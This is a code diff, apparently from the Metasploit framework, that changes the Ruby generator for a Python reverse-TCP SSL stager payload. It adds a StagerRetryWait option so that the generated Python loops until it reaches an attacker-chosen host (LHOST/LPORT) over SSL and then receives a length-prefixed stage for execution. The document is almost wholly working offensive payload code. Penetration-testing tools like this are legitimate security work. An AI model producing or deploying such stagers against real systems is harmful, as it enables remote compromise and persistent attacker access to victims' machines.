@@ -22,7 +22,8 @@ module Payload::Python::ReverseTcpSsl
22
22
def generate
23
23
conf = {
24
24
port : datastore [ 'LPORT' ] ,
25
- host : datastore [ 'LHOST' ]
25
+ host : datastore [ 'LHOST' ] ,
26
+ retry_wait : datastore [ 'StagerRetryWait' ]
26
27
}
27
28
28
29
generate_reverse_tcp_ssl ( conf )
@@ -42,10 +43,25 @@ def supports_ssl?
42
43
43
44
def generate_reverse_tcp_ssl ( opts = { } )
44
45
# Set up the socket
45
- cmd = "import ssl,socket,struct\n "
46
- cmd << "so=socket.socket(2,1)\n " # socket.AF_INET = 2
47
- cmd << "so.connect(('#{ opts [ :host ] } ',#{ opts [ :port ] } ))\n "
48
- cmd << "s=ssl.wrap_socket(so)\n "
46
+ cmd = "import ssl,socket,struct#{ datastore [ 'StagerRetryWait' ] . to_i > 0 ? ',time' : '' } \n "
47
+ if datastore [ 'StagerRetryWait' ] . blank? # do not retry at all (old style)
48
+ cmd << "so=socket.socket(2,1)\n " # socket.AF_INET = 2
49
+ cmd << "so.connect(('#{ opts [ :host ] } ',#{ opts [ :port ] } ))\n "
50
+ cmd << "s=ssl.wrap_socket(so)\n "
51
+ else
52
+ cmd << "while 1:\n "
53
+ cmd << "\t try:\n "
54
+ cmd << "\t \t so=socket.socket(2,1)\n " # socket.AF_INET = 2
55
+ cmd << "\t \t so.connect(('#{ opts [ :host ] } ',#{ opts [ :port ] } ))\n "
56
+ cmd << "\t \t s=ssl.wrap_socket(so)\n "
57
+ cmd << "\t \t break\n "
58
+ cmd << "\t except:\n "
59
+ if datastore [ 'StagerRetryWait' ] . to_i <= 0
60
+ cmd << "\t \t pass\n " # retry immediately
61
+ else
62
+ cmd << "\t \t time.sleep(#{ datastore [ 'StagerRetryWait' ] . to_i } )\n " # retry after waiting
63
+ end
64
+ end
49
65
cmd << py_send_uuid if include_send_uuid
50
66
cmd << "l=struct.unpack('>I',s.recv(4))[0]\n "
51
67
cmd << "d=s.recv(l)\n "
0 commit comments